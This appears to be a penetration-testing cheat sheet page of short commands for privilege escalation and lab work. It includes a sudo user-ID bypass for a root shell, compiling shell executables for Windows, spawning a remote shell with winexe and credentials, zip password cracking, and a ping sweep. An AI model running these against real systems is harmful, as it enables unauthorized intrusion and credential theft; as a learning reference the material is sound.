> For the complete documentation index, see [llms.txt](https://arfarmsec.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arfarmsec.gitbook.io/cheat-sheets/windows-privilege-escalation/tips-and-tricks.md).

# Tips & Tricks

#### Spawn root shell

```
sudo -s

# Can't execute /bin/bash?
# Older version of sudo are vulnerable to this priv esc method:

sudo -u#-1 /bin/bash
```

#### No "whoami" on Windows?

{% code title="try:" %}

```bash
echo %username%
set

# if the above do not work, you may transfer Kali's 'whoami.exe'to victim machine
```

{% endcode %}

#### Banner Grab a website

```bash
curl -s -I IP_ADDRESS
```

#### Mingw C compiler for windows

```bash
x86_64-w64-mingw32-gcc shell.c -o shell.exe <--for 64 bit

i686-w64-mingw32-gcc shell.c -o shell.exe <--for 32 bit
```

#### winexe

In Kali, the winexe can be used to spawn a shell, for windows 2003, XP, and earlier.  Unlikely to find these operating systems in the wild, but they may be in pentesting labs.

```bash
winexe -U ‘admin%password’ //10.10.10.14 cmd.exe
```

#### Grep for deleted files

```bash
grep --binary-files=text --context=100 'root' /dev/sdb > /tmp/root.txt

#assuming the deleted file was originally stored on /dev/sdb and contained the word 
#root in the filename, we can partially recover it and save it as /tmp/root/txt
```

**Cracking zip files**

```bash
git clone https://github.com/saghul/lxd-alpine-builder.git

fcrackzip -v -D -u -p /usr/share/dict/words secret.zip

fcrackzip -v -D -u -p ./rockyou.txt 16162020_backup.zip 

```

#### Ping sweep Windows

```bash
FOR /L %i IN (1,1,254) DO ping -n 1 172.16.2.%i

# pipe to file:
FOR /L %i IN (1,1,254) DO ping -n 1 172.16.2.%i | FIND /i "Reply" >> C:\Users\ip.txt
```